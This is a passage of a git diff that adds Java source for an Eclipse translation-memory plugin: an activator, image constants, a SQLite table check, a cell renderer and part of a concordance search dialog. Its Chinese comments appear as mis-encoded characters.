plugin; + + /** + * The constructor + */ + public Activator() { + } + + /* + * (non-Javadoc) + * + * @see org.eclipse.ui.plugin.AbstractUIPlugin#start(org.osgi.framework.BundleContext) + */ + public void start(BundleContext context) throws Exception { + super.start(context); + plugin = this; + } + + /* + * (non-Javadoc) + * + * @see org.eclipse.ui.plugin.AbstractUIPlugin#stop(org.osgi.framework.BundleContext) + */ + public void stop(BundleContext context) throws Exception { + plugin = null; + super.stop(context); + } + + /** + * Returns the shared instance + * @return the shared instance + */ + public static Activator getDefault() { + return plugin; + } + + /** + * æ供一个图片文件对æ’件的相对路径,返回该图片的æè¿°ä¿¡æ¯ã€‚ + * @param path + * 图片资æºå¯¹æ’件的相对路径。 + * @return the image descriptor + */ + public static ImageDescriptor getImageDescriptor(String path) { + return imageDescriptorFromPlugin(PLUGIN_ID, path); + } + +} diff --git a/database/net.heartsome.cat.database.ui.tm/src/net/heartsome/cat/database/ui/tm/ImageConstants.java b/database/net.heartsome.cat.database.ui.tm/src/net/heartsome/cat/database/ui/tm/ImageConstants.java new file mode 100644 index 0000000..2195666 --- /dev/null +++ b/database/net.heartsome.cat.database.ui.tm/src/net/heartsome/cat/database/ui/tm/ImageConstants.java @@ -0,0 +1,54 @@ +/** + * ImageConstants.java + * + * Version information : + * + * Date:2012-5-3 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.database.ui.tm; + +/** + * 图片资æºå¸¸é‡ + * @author jason + * @version + * @since JDK1.6 + */ +public interface ImageConstants { + String CHECKED = "images/database/new-project/checked.gif"; + String UNCHECKED = "images/database/new-project/unchecked.gif"; + + /** 相关æœç´¢å¯¹è¯æ¡†ä¸­é€‰æ‹©è¯­è¨€æŒ‰é’®çš„图片 */ + public static final String CONCORDANCE_SELECT_LANG = "images/dialog/change-lang.png"; + + /** 相关æœç´¢å¯¹è¯æ¡†ä¸­ç¬¬ä¸€é¡µæŒ‰é’®å›¾ç‰‡ */ + public static final String PAGE_FIRST = "images/dialog/first-page.png"; + + /** 相关æœç´¢å¯¹è¯æ¡†ä¸­ä¸Šä¸€é¡µæŒ‰é’®å›¾ç‰‡ */ + public static final String PAGE_PRE = "images/dialog/previous-page.png"; + + /** 相关æœç´¢å¯¹è¯æ¡†ä¸­ä¸‹ä¸€é¡µæŒ‰é’®å›¾ç‰‡ */ + public static final String PAGE_NEXT = "images/dialog/next-page.png"; + + /** 相关æœç´¢å¯¹è¯æ¡†ä¸­æœ€åŽä¸€é¡µæŒ‰é’®å›¾ç‰‡ */ + public static final String PAGE_LAST = "images/dialog/last-page.png"; + + /** 相关æœç´¢å¯¹è¯æ¡†ä¸­æ·»åŠ æ ‡è®°å›¾ç‰‡è·¯å¾„ */ + public static final String TAG_ADD = "images/dialog/true.gif"; + + /** 相关æœç´¢å¯¹è¯æ¡†ä¸­åˆ é™¤æ ‡è®°å›¾ç‰‡è·¯å¾„ */ + public static final String TAG_DELETE = "images/dialog/error.png"; + + // æ•°æ®åº“管ç†æ¨¡å— + public static final String ORACLE = "images/database/db-manage/oracle.png"; + public static final String MYSQL = "images/database/db-manage/mysql.png"; + public static final String POSTGRESQL = "images/database/db-manage/postgresql.png"; + public static final String SQLSERVER = "images/database/db-manage/sqlserver.png"; + public static final String INTERNALDB = "images/database/db-manage/internaldb.png"; + public static final String IP = "images/database/db-manage/ip.png"; + public static final String SQLITE = "images/database/db-manage/sqlite.png"; +} diff --git a/database/net.heartsome.cat.database.ui.tm/src/net/heartsome/cat/database/ui/tm/Utils.java b/database/net.heartsome.cat.database.ui.tm/src/net/heartsome/cat/database/ui/tm/Utils.java new file mode 100644 index 0000000..6ccccfa --- /dev/null +++ b/database/net.heartsome.cat.database.ui.tm/src/net/heartsome/cat/database/ui/tm/Utils.java @@ -0,0 +1,98 @@ +/** + * Utils.java + * + * Version information : + * + * Date:2013-4-23 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.database.ui.tm; + +import java.io.File; +import java.sql.ResultSet; +import java.sql.SQLException; +import java.sql.Statement; +import java.text.MessageFormat; +import java.util.ArrayList; +import java.util.Arrays; +import java.util.HashMap; +import java.util.List; +import java.util.Map; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +import net.heartsome.cat.common.bean.DatabaseModelBean; +import net.heartsome.cat.database.Constants; +import net.heartsome.cat.database.DBOperator; +import net.heartsome.cat.database.service.DatabaseService; +import net.heartsome.cat.database.ui.tm.resource.Messages; + +/** + * @author Jason + * @version + * @since JDK1.6 + */ +public class Utils { + public static Logger LOGGER = LoggerFactory.getLogger(Utils.class); + + public static Map convertFile2TmModel(File f, boolean loadLang) throws Exception { + String path = f.getParent(); + String name = f.getName(); + DatabaseModelBean selectedVal = new DatabaseModelBean(); + selectedVal.setDbName(name); + selectedVal.setDbType(Constants.DBTYPE_SQLITE); + selectedVal.setItlDBLocation(path); + + DBOperator dbOp = DatabaseService.getDBOperator(selectedVal.toDbMetaData()); + String lang = ""; + try { + dbOp.start(); + Statement stmt = dbOp.getConnection().createStatement(); + ResultSet rs = stmt.executeQuery("SELECT name FROM sqlite_master WHERE type='table' ORDER BY name"); + List tables = new ArrayList(); + while (rs.next()) { + String tname = rs.getString(1); + if (tname.toUpperCase().startsWith("MATRIX_")) { + continue; + } else { + tables.add(tname); + } + } + List l = Arrays.asList("BATTRIBUTE", "BMARTIFHEADER", "BNODE", "BREFOBJECTLIST", "BTERMENTRY", + "LANG", "MEXTRA", "MHEADER", "MHEADERNODE", "MNOTE", "MPROP", "MTU", "TEXTDATA"); + if (!tables.containsAll(l)) { + throw new Exception(Messages.getString("tm.dialog.addFileTm.error.msg1")); + } + if (loadLang) { + List langs = dbOp.getLanguages(); + for (int j = 0; j < langs.size(); j++) { + lang += langs.get(j); + if (j != langs.size() - 1) { + lang += ","; + } + } + } + Map result = new HashMap(); + result.put(selectedVal, lang); + return result; + } catch (Exception ex) { + LOGGER.error("", ex); + String message = Messages.getString("tm.dialog.addFileTm.error.msg2"); + message = MessageFormat.format(message, name); + throw new Exception(message); + } finally { + try { + if (dbOp != null) { + dbOp.end(); + } + } catch (SQLException ex) { + LOGGER.error("", ex); + } + } + } +} diff --git a/database/net.heartsome.cat.database.ui.tm/src/net/heartsome/cat/database/ui/tm/dialog/AttributeTextCellRenderer.java b/database/net.heartsome.cat.database.ui.tm/src/net/heartsome/cat/database/ui/tm/dialog/AttributeTextCellRenderer.java new file mode 100644 index 0000000..15b6d81 --- /dev/null +++ b/database/net.heartsome.cat.database.ui.tm/src/net/heartsome/cat/database/ui/tm/dialog/AttributeTextCellRenderer.java @@ -0,0 +1,83 @@ +package net.heartsome.cat.database.ui.tm.dialog; + +import java.util.ArrayList; +import java.util.HashMap; + +import org.eclipse.swt.SWT; +import org.eclipse.swt.events.DisposeEvent; +import org.eclipse.swt.events.DisposeListener; +import org.eclipse.swt.graphics.Color; +import org.eclipse.swt.graphics.GC; +import org.eclipse.swt.graphics.RGB; +import org.eclipse.swt.graphics.Rectangle; +import org.eclipse.swt.graphics.TextLayout; +import org.eclipse.swt.graphics.TextStyle; +import org.eclipse.swt.widgets.Display; + +import de.jaret.util.swt.ColorManager; +import de.jaret.util.ui.table.JaretTable; +import de.jaret.util.ui.table.model.IColumn; +import de.jaret.util.ui.table.model.IRow; +import de.jaret.util.ui.table.renderer.ICellStyle; +import de.jaret.util.ui.table.renderer.TextCellRenderer; + +/** + * 相关æœç´¢å±žæ€§åˆ—çš„ TextCellRenderer + * @author peason + * @version + * @since JDK1.6 + */ +public class AttributeTextCellRenderer extends TextCellRenderer { + + private TextLayout textLayout; + + private TextStyle style; + + private HashMap> mapStyle; + + public AttributeTextCellRenderer(HashMap> mapStyle, TextStyle style) { + super(); + this.mapStyle = mapStyle; + this.style = style; + } + + public void draw(GC gc, JaretTable jaretTable, ICellStyle cellStyle, Rectangle drawingArea, IRow row, + IColumn column, boolean drawFocus, boolean selected, boolean printing) { + super.draw(gc, jaretTable, cellStyle, drawingArea, row, column, drawFocus, selected, printing); + // Color bg = gc.getBackground(); + // Color fg = gc.getForeground(); + Rectangle drect = drawBorder(gc, cellStyle, drawingArea, printing); + Rectangle rect = applyInsets(drect); + String s = convertValue(row, column); + if (s != null && mapStyle != null && mapStyle.containsKey(row)) { + if (selected && !printing) { + Color color = ColorManager.getColorManager(Display.getCurrent()).getColor(new RGB(218, 218, 218)); + gc.setBackground(color); + } else { + gc.setBackground(getBackgroundColor(cellStyle, printing)); + } + if (textLayout == null) { + textLayout = new TextLayout(gc.getDevice()); + jaretTable.getParent().addDisposeListener(new DisposeListener() { + public void widgetDisposed(DisposeEvent e) { + textLayout.dispose(); + } + }); + } + textLayout.setText(s); + textLayout.setFont(gc.getFont()); + textLayout.setWidth(rect.width); + ArrayList lstIndex = mapStyle.get(row); + if (lstIndex != null) { + for (int[] arrIndex : lstIndex) { + if (arrIndex != null && arrIndex.length == 2) { + textLayout.setStyle(style, arrIndex[0], arrIndex[1] - 1); + } + } + gc.fillRectangle(rect); + textLayout.draw(gc, rect.x, rect.y); + gc.setForeground(Display.getCurrent().getSystemColor(SWT.COLOR_LIST_FOREGROUND)); + } + } + } +} diff --git a/database/net.heartsome.cat.database.ui.tm/src/net/heartsome/cat/database/ui/tm/dialog/ConcordanceSearchDialog.java b/database/net.heartsome.cat.database.ui.tm/src/net/heartsome/cat/database/ui/tm/dialog/ConcordanceSearchDialog.java new file mode 100644 index 0000000..f2c300d --- /dev/null +++ b/database/net.heartsome.cat.database.ui.tm/src/net/heartsome/cat/database/ui/tm/dialog/ConcordanceSearchDialog.java @@ -0,0 +1,1571 @@ +package net.heartsome.cat.database.ui.tm.dialog; + +import java.sql.SQLException; +import java.text.MessageFormat; +import java.util.ArrayList; +import java.util.Collections; +import java.util.HashMap; +import java.util.HashSet; +import java.util.Iterator; +import java.util.LinkedHashMap; +import java.util.List; +import java.util.Map; +import java.util.Map.Entry; +import java.util.Set; +import java.util.TreeMap; + +import net.heartsome.cat.common.bean.DatabaseModelBean; +import net.heartsome.cat.common.bean.MetaData; +import net.heartsome.cat.common.bean.TmxProp; +import net.heartsome.cat.common.innertag.InnerTagBean; +import net.heartsome.cat.common.innertag.TagStyle; +import net.heartsome.cat.common.ui.utils.InnerTagUtil; +import net.heartsome.cat.common.util.CommonFunction; +import net.heartsome.cat.common.util.TextUtil; +import net.heartsome.cat.database.DBOperator; +import net.heartsome.cat.database.service.DatabaseService; +import net.heartsome.cat.database.tmx.ConcordanceBean; +import net.heartsome.cat.database.tmx.LanguageTMX; +import net.heartsome.cat.database.ui.tm.Activator; +import net.heartsome.cat.database.ui.tm.ImageConstants; +import net.heartsome.cat.database.ui.tm.resource.Messages; +import net.heartsome.cat.ts.core.file.ProjectConfiger; +import net.heartsome.cat.ts.core.file.ProjectConfigerFactory; +import net.heartsome.cat.ts.ui.jaret.renderer.ImageCellRender; +import net.heartsome.cat.ts.ui.jaret.renderer.StyleTextCellRenderer; + +import org.eclipse.core.resources.IFile; +import org.eclipse.jface.dialogs.IDialogSettings; +import org.eclipse.jface.dialogs.MessageDialog; +import org.eclipse.jface.dialogs.TrayDialog; +import org.eclipse.jface.layout.GridDataFactory; +import org.eclipse.jface.layout.GridLayoutFactory; +import org.eclipse.jface.resource.JFaceResources; +import org.eclipse.jface.util.Util; +import org.eclipse.swt.SWT; +import org.eclipse.swt.events.DisposeEvent; +import org.eclipse.swt.events.DisposeListener; +import org.eclipse.swt.events.FocusAdapter; +import org.eclipse.swt.events.FocusEvent; +import org.eclipse.swt.events.KeyEvent; +import org.eclipse.swt.events.KeyListener; +import org.eclipse.swt.events.SelectionAdapter; +import org.eclipse.swt.events.SelectionEvent; +import org.eclipse.swt.events.SelectionListener; +import org.eclipse.swt.graphics.Color; +import org.eclipse.swt.graphics.Cursor; +import org.eclipse.swt.graphics.Font; +import org.eclipse.swt.graphics.FontData; +import org.eclipse.swt.graphics.Image; +import org.eclipse.swt.graphics.Point; +import org.eclipse.swt.graphics.Rectangle; +import org.eclipse.swt.graphics.TextStyle; +import org.eclipse.swt.layout.GridData; +import org.eclipse.swt.layout.GridLayout; +import org.eclipse.swt.widgets.Button; +import org.eclipse.swt.widgets.Combo; +import org.eclipse.swt.widgets.Composite; +import org.eclipse.swt.widgets.Control; +import org.eclipse.swt.widgets.Display; +import org.eclipse.swt.widgets.Event; +import org.eclipse.swt.widgets.Group; +import org.eclipse.swt.widgets.Label; +import org.eclipse.swt.widgets.Listener; +import org.eclipse.swt.widgets.Menu; +import org.eclipse.swt.widgets.MenuItem; +import org.eclipse.swt.widgets.Shell; +import org.eclipse.swt.widgets.Text; +import org.eclipse.swt.widgets.ToolBar; +import org.eclipse.swt.widgets.ToolItem; +import org.eclipse.ui.PlatformUI; +import org.eclipse.ui.forms.events.ExpansionEvent; +import org.eclipse.ui.forms.events.IExpansionListener; +import org.eclipse.ui.forms.widgets.ExpandableComposite; +import org.eclipse.ui.forms.widgets.FormToolkit; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +import de.jaret.util.ui.table.JaretTable; +import de.jaret.util.ui.table.model.IColumn; +import de.jaret.util.ui.table.model.IRow; +import de.jaret.util.ui.table.model.PropCol; +import de.jaret.util.ui.table.model.PropListeningTableModel; +import de.jaret.util.ui.table.renderer.DefaultTableHeaderRenderer; +import de.jaret.util.ui.table.renderer.TextCellRenderer; + +/** + * 相关æœç´¢å¯¹è¯æ¡† + * @author peason + * @version + * @since JDK1.6 + */ +public class ConcordanceSearchDialog extends TrayDialog { + + private static final Logger LOGGER = LoggerFactory.getLogger(LoggerFactory.class.getName()); + + /** 当å‰é¡¹ç›®è®°å¿†åº“ä¸­çš„è¯­è¨€é›†åˆ */ + private ArrayList lstLangs = new ArrayList(); + + /** 当å‰é¡¹ç›®çš„è®°å¿†åº“é›†åˆ */ + private List lstDatabase = new ArrayList(); + + /** 当å‰æ–‡ä»¶çš„æºè¯­è¨€ */ + private String strSrcLang; + + /** 当å‰æ–‡ä»¶çš„目标语言 */ + private String strTgtLang; + + /** è¦æœç´¢çš„文本 */ + private String strSearchText; + + /** æœç´¢ä¸‹æ‹‰æ¡† */ + private Combo cmbSearch; + + /** æœç´¢æŒ‰é’® */ + private Button btnSearch; + + /** 是å¦åŒºåˆ†å¤§å°å†™å¤é€‰æ¡† */ + private Button btnIsCaseSensitive; + + /** 是å¦åº”用正则表达å¼å¤é€‰æ¡† */ + private Button btnApplyRegularExpression; + + /** 是å¦å¿½ç•¥æ ‡è®°å¤é€‰æ¡† */ + private Button btnIsIgnoreMark; + + /** 记忆库下拉框 */ + private Combo cmbDatabase; + + private JaretTable jTable; + + PropListeningTableModel tableModel; + + /** æ–‡æœ¬æ®µä¿¡æ¯ */ + private String strMsg = Messages.getString("dialog.ConcordanceSearchDialog.strMsg"); + + /** 选择语言按钮 */ + private Button btnSelectLang; + + /** 选择语言èœå• */ + private Menu menu; + + /** æ¯é¡µæ˜¾ç¤ºçš„行数 */ + private int rowNumPerPage = 20; + + /** 首页按钮 */ + private ToolItem btnFirst; + + /** 上一页按钮 */ + private ToolItem btnPre; + + /** 下一页按钮 */ + private ToolItem btnNext; + + /** 最åŽä¸€é¡µæŒ‰é’® */ + private ToolItem btnLast; + + /** 输入页å·æ–‡æœ¬æ¡† */ + private Text txtPage; + + /** 记录当å‰é¡µå· */ + private int curPageNum; + + /** 页数 */ + private int amountPage; + + /** æ ¹æ®æœç´¢æ¡ä»¶å¾—到的 GroupId 集åˆï¼ˆå·²æŒ‰ä¿®æ”¹æ—¥æœŸæŽ’åºï¼‰ */ + // private ArrayList lstGroupId = new ArrayList(); + + /** æ ¹æ®æœç´¢æ¡ä»¶å¾—到的 GroupId é›†åˆ */ + private LinkedHashMap> mapGroupId = new LinkedHashMap>(); + + /** 页å·æ–‡æœ¬æ¡†ä¸­æ˜¾ç¤ºå½“å‰é¡µå·ä¸Žæ€»é¡µæ•°ä¹‹é—´çš„分隔符 */ + private String splitPageSeparator = "/"; + + private ExpandableComposite cmpExpandableFilter; + + /** 过滤æ¡ä»¶ä¸­é€‰æ‹©æºæ–‡æˆ–译文的下拉框 */ + private Combo cmbSrcOrTgt; + + /** 过滤æ¡ä»¶ä¸­é€‰æ‹©åŒ…å«æˆ–ä¸åŒ…å«çš„下拉框 */ + private Combo cmbContain; + + /** 过滤æ¡ä»¶ä¸­è¾“入过滤内容的文本框 */ + private Combo cmbFilter; + + // private ToolBar selLangBar; + + private int totalWidth = 950; + + private int colCount; + + private int size = 0; + + private Image firstImage = Activator.getImageDescriptor(ImageConstants.PAGE_FIRST).createImage(); + private Image preImage = Activator.getImageDescriptor(ImageConstants.PAGE_PRE).createImage(); + private Image nextImage = Activator.getImageDescriptor(ImageConstants.PAGE_NEXT).createImage(); + private Image lastImage = Activator.getImageDescriptor(ImageConstants.PAGE_LAST).createImage(); + + // private Color color = new Color(Display.getDefault(), 150, 100, 100); + private Font font; + private TextStyle style; + + private final int HISTORY_SIZE = 5; + + private List lstSearchHistory; + + private List lstFilterHistory; + + private Group groupTable; + + private Composite tparent; + + /** + * æœç´¢ç»“果背景色 + */ + private Color background; + /** + * æœç´¢ç»“æžœå‰æ™¯è‰² + */ + private Color foreground; + /** + * æœç´¢ç»“果字体 + */ + private Font rsFont; + /** + * 构造方法 + * @param parentShell + * @param file + * 当å‰æ–‡ä»¶ + * @param strSrcLang + * 当å‰æ–‡ä»¶çš„æºè¯­è¨€ + * @param strTgtLang + * 当å‰æ–‡ä»¶çš„目标语言 + * @param strSearchText + * æœç´¢æ–‡æœ¬ + */ + public ConcordanceSearchDialog(Shell parentShell, IFile file, String strSrcLang, String strTgtLang, + String strSearchText) { + super(parentShell); + + FontData fontData = JFaceResources.getDefaultFont().getFontData()[0]; + fontData.setStyle(fontData.getStyle() | SWT.BOLD); + font = new Font(Display.getDefault(), fontData); + style = new TextStyle(font, null, null); + + this.strSrcLang = strSrcLang; + this.strTgtLang = strTgtLang; + this.strSearchText = strSearchText; + ProjectConfiger projectConfig = ProjectConfigerFactory.getProjectConfiger(file.getProject()); + lstDatabase = projectConfig.getAllTmDbs(); + filterUnAvaliableDatabase(); + setHelpAvailable(true); + setBlockOnOpen(false); + lstSearchHistory = new ArrayList(HISTORY_SIZE - 1); + lstFilterHistory = new ArrayList(HISTORY_SIZE - 1); + if (!Util.isLinux()) { + totalWidth = 910; + } + } + + @Override + protected void configureShell(Shell newShell) { + super.configureShell(newShell); + newShell.setText(Messages.getString("dialog.ConcordanceSearchDialog.title")); + } + public Set getSysAvailableDatabase() { + Map systemSuportDbMetaData = DatabaseService.getSystemSuportDbMetaData(); + return systemSuportDbMetaData.keySet(); + } + /** + * 过滤掉系统ä¸æ”¯æŒçš„æ•°æ®åº“ + * ; + */ + public void filterUnAvaliableDatabase(){ + Set sysAvailableDatabase = getSysAvailableDatabase(); + List rs = new ArrayList (3); + for(DatabaseModelBean dmb :lstDatabase ){ + if(sysAvailableDatabase.contains(dmb.getDbType())){ + //lstDatabase.remove(dmb); + rs.add(dmb); + } + } + lstDatabase =rs; + } + /** + * 添加帮助按钮 robert 2012-09-06 + */ + @Override + protected Control createHelpControl(Composite parent) { + // ROBERTHELP 相关æœç´¢ + String language = CommonFunction.getSystemLanguage(); + final String helpUrl = MessageFormat.format( + "/net.heartsome.cat.ts.ui.help/html/{0}/ch05s04.html#concordance-search", language); + Image helpImage = JFaceResources.getImage(DLG_IMG_HELP); + ToolBar toolBar = new ToolBar(parent, SWT.FLAT | SWT.NO_FOCUS); + ((GridLayout) parent.getLayout()).numColumns++; + toolBar.setLayoutData(new GridData(GridData.HORIZONTAL_ALIGN_CENTER)); + final Cursor cursor = new Cursor(parent.getDisplay(), SWT.CURSOR_HAND); + toolBar.setCursor(cursor); + toolBar.addDisposeListener(new DisposeListener() { + public void widgetDisposed(DisposeEvent e) { + cursor.dispose(); + } + }); + ToolItem helpItem = new ToolItem(toolBar, SWT.NONE); + helpItem.setImage(helpImage); + helpItem.setToolTipText(JFaceResources.getString("helpToolTip")); //$NON-NLS-1$ + helpItem.addSelectionListener(new SelectionAdapter() { + public void widgetSelected(SelectionEvent e) { + PlatformUI.getWorkbench().getHelpSystem().displayHelpResource(helpUrl); + } + }); + return toolBar; + } + + @Override + protected Control createDialogArea(Composite parent) { + tparent = (Composite) super.createDialogArea(parent); + GridLayoutFactory.swtDefaults().spacing(0, 0).extendedMargins(SWT.DEFAULT, SWT.DEFAULT, 0, 0).applyTo(tparent); + // tparent.setLayout(new GridLayout()); + GridData parentData = new GridData(GridData.FILL_BOTH); + parentData.widthHint = 1058; + tparent.setLayoutData(parentData); + + Group groupSearch = new Group(tparent, SWT.NONE); + GridLayoutFactory.swtDefaults().margins(5, 5).numColumns(3).equalWidth(false).applyTo(groupSearch); + GridDataFactory.fillDefaults().grab(true, false).applyTo(groupSearch); + groupSearch.setText(Messages.getString("dialog.ConcordanceSearchDialog.groupSearch")); + Label lblSearch = new Label(groupSearch, SWT.NONE); + lblSearch.setText(Messages.getString("dialog.ConcordanceSearchDialog.lblSearch")); + GridDataFactory.fillDefaults().align(SWT.RIGHT, SWT.CENTER).applyTo(lblSearch); + cmbSearch = new Combo(groupSearch, SWT.BORDER | SWT.DROP_DOWN); + cmbSearch.setText(strSearchText == null ? "" : InnerTagUtil.resolveTag(strSearchText)); + GridData txtData = new GridData(); + // 解决在 Windows 下文本框高度太å°çš„问题 + // txtData.heightHint = 20; + txtData.widthHint = 610; + cmbSearch.setLayoutData(new GridData(GridData.FILL_HORIZONTAL)); + btnSearch = new Button(groupSearch, SWT.PUSH); + btnSearch.setText(Messages.getString("dialog.ConcordanceSearchDialog.btnSearch")); + + new Label(groupSearch, SWT.NONE); + Composite compCondition = new Composite(groupSearch, SWT.NONE); + GridLayoutFactory.fillDefaults().numColumns(3).equalWidth(false).applyTo(compCondition); + GridDataFactory.fillDefaults().span(2, 1).grab(true, false).applyTo(compCondition); + + btnIsCaseSensitive = new Button(compCondition, SWT.CHECK); + btnIsCaseSensitive.setText(Messages.getString("dialog.ConcordanceSearchDialog.btnIsCaseSensitive")); + GridDataFactory.swtDefaults().applyTo(btnIsCaseSensitive); + + btnIsIgnoreMark = new Button(compCondition, SWT.CHECK); + btnIsIgnoreMark.setText(Messages.getString("dialog.ConcordanceSearchDialog.btnIsIgnoreMark")); + btnIsIgnoreMark.setSelection(true); + GridDataFactory.swtDefaults().applyTo(btnIsIgnoreMark); + + btnApplyRegularExpression = new Button(compCondition, SWT.CHECK); + btnApplyRegularExpression.setText(Messages + .getString("dialog.ConcordanceSearchDialog.btnApplyRegularExpression")); + GridDataFactory.swtDefaults().applyTo(btnApplyRegularExpression); + + Label lblTM = new Label(groupSearch, SWT.NONE); + lblTM.setText(Messages.getString("dialog.ConcordanceSearchDialog.lblDB")); + GridDataFactory.fillDefaults().align(SWT.RIGHT, SWT.CENTER).applyTo(lblTM); + Composite compDB = new Composite(groupSearch, SWT.NONE); + GridLayoutFactory.fillDefaults().numColumns(2).equalWidth(false).applyTo(compDB); + GridDataFactory.fillDefaults().span(2, 1).grab(true, false).applyTo(compDB); + cmbDatabase = new Combo(compDB, SWT.READ_ONLY); + GridDataFactory.swtDefaults().hint(150, SWT.DEFAULT).applyTo(cmbDatabase); + initDatabaseCombo(); + btnSelectLang = new Button(compDB, SWT.RIGHT); + // GridData data = new GridData(); + // data.widthHint = 150; + // data.heightHint = 27; + // btnSelectLang.setLayoutData(data); + // btnSelectLang.setImage(Activator.getImageDescriptor(ImageConstants.CONCORDANCE_SELECT_LANG).createImage()); + // btnSelectLang.addPaintListener(new PaintListener() { + // public void paintControl(PaintEvent e) { + // e.gc.drawText(Messages.getString("dialog.ConcordanceSearchDialog.btnSelectLang"), 5, 5, + // SWT.DRAW_TRANSPARENT); + // } + // }); + btnSelectLang.setText(Messages.getString("dialog.ConcordanceSearchDialog.btnSelectLang")); + initLanguageMenu(); + + FormToolkit toolkit = new FormToolkit(parent.getDisplay()); + Group groupFilter = new Group(tparent, SWT.None); + GridLayoutFactory.swtDefaults().margins(5, 5).applyTo(groupFilter); + GridDataFactory.fillDefaults().grab(true, false).applyTo(groupFilter); + groupFilter.setText(Messages.getString("dialog.ConcordanceSearchDialog.groupFilter")); + cmpExpandableFilter = toolkit.createExpandableComposite(groupFilter, ExpandableComposite.TITLE_BAR + | ExpandableComposite.TWISTIE); + cmpExpandableFilter.setText(Messages.getString("dialog.ConcordanceSearchDialog.cmpExpandableFilter")); + Composite cmpFilter = toolkit.createComposite(cmpExpandableFilter); + cmpFilter.setLayout(new GridLayout(3, false)); + GridDataFactory.fillDefaults().grab(true, false).applyTo(cmpFilter); + cmpExpandableFilter.setBackground(tparent.getBackground()); + cmpExpandableFilter.setClient(cmpFilter); + cmpFilter.setBackground(tparent.getBackground()); + + cmbSrcOrTgt = new Combo(cmpFilter, SWT.READ_ONLY); + GridDataFactory.swtDefaults().hint(100, SWT.DEFAULT).applyTo(cmbSrcOrTgt); + cmbSrcOrTgt.setItems(new String[] { Messages.getString("dialog.ConcordanceSearchDialog.cmbSrcOrTgt1"), + Messages.getString("dialog.ConcordanceSearchDialog.cmbSrcOrTgt2") }); + cmbSrcOrTgt.setData(Messages.getString("dialog.ConcordanceSearchDialog.cmbSrcOrTgt1"), strSrcLang); + cmbSrcOrTgt.setData(Messages.getString("dialog.ConcordanceSearchDialog.cmbSrcOrTgt2"), strTgtLang); + + cmbContain = new Combo(cmpFilter, SWT.READ_ONLY); + GridDataFactory.swtDefaults().hint(100, SWT.DEFAULT).applyTo(cmbContain); + cmbContain.setItems(new String[] { Messages.getString("dialog.ConcordanceSearchDialog.cmbContain1"), + Messages.getString("dialog.ConcordanceSearchDialog.cmbContain2") }); + cmbContain.setData(Messages.getString("dialog.ConcordanceSearchDialog.cmbContain1"), "LIKE"); + cmbContain.setData(Messages.getString("dialog.ConcordanceSearchDialog.cmbContain2"), "NOT LIKE"); + + cmbFilter = new Combo(cmpFilter, SWT.BORDER | SWT.DROP_DOWN); + GridDataFactory.swtDefaults().hint(410, SWT.DEFAULT).applyTo(cmbFilter); + cmpExpandableFilter.setExpanded(false); + + groupTable = new Group(tparent, SWT.None); + GridLayoutFactory.swtDefaults().margins(5, 5).spacing(0, 2).numColumns(1).equalWidth(false).applyTo(groupTable); + GridDataFactory.fillDefaults().hint(740, 450).applyTo(groupTable); + groupTable.setText(Messages.getString("dialog.ConcordanceSearchDialog.groupTable")); + groupTable.setBackground(groupTable.getParent().getBackground()); + groupTable.setBackgroundMode(SWT.INHERIT_FORCE); + + cmpExpandableFilter.addExpansionListener(new IExpansionListener() { + + public void expansionStateChanging(ExpansionEvent e) { + layoutExpandable(); + } + + public void expansionStateChanged(ExpansionEvent e) { + layoutExpandable(); + } + }); + + jTable = new JaretTable(groupTable, SWT.BORDER | SWT.V_SCROLL | SWT.H_SCROLL) { + public void rowSelectionAdded(IRow row) { + super.rowSelectionAdded(row); + // XPropRow propRow = (XPropRow) row; + // HashMap map = (HashMap) propRow.getDataMap(); + // String strChangeDate = map.get("changeDate"); + // // strChangeDate = checkString(strChangeDate == null || strChangeDate.equals("") ? "" : + // CommonFunctions + // // .retGMTdate(strChangeDate)); + // strChangeDate = checkString(strChangeDate == null || strChangeDate.equals("") ? "" : strChangeDate); + // String strChangeId = checkString(map.get("changeId")); + // String strDbInfo = checkString(map.get("dbType")) + "/" + checkString(map.get("severName")) + "/" + // + checkString(map.get("dbName")); + // String strProjectInfo = checkString(map.get("projectRef")); + // String strJobInfo = checkString(map.get("jobRef")); + // MessageFormat mf = new MessageFormat(strMsg); + // lblInfo.setText(mf.format(new String[] { strChangeDate, strChangeId, strDbInfo, strProjectInfo, + // strJobInfo })); + + } + }; + jTable.setLayoutData(new GridData(GridData.FILL_BOTH)); + ((DefaultTableHeaderRenderer) jTable.getHeaderRenderer()) + .setAlignment(DefaultTableHeaderRenderer.Alignment.LEFT); + jTable.setHeaderResizeAllowed(false); + jTable.setAllowSorting(false); + jTable.registerCellEditor(String.class, new ReadOnlyTextCellEditor(true)); + + 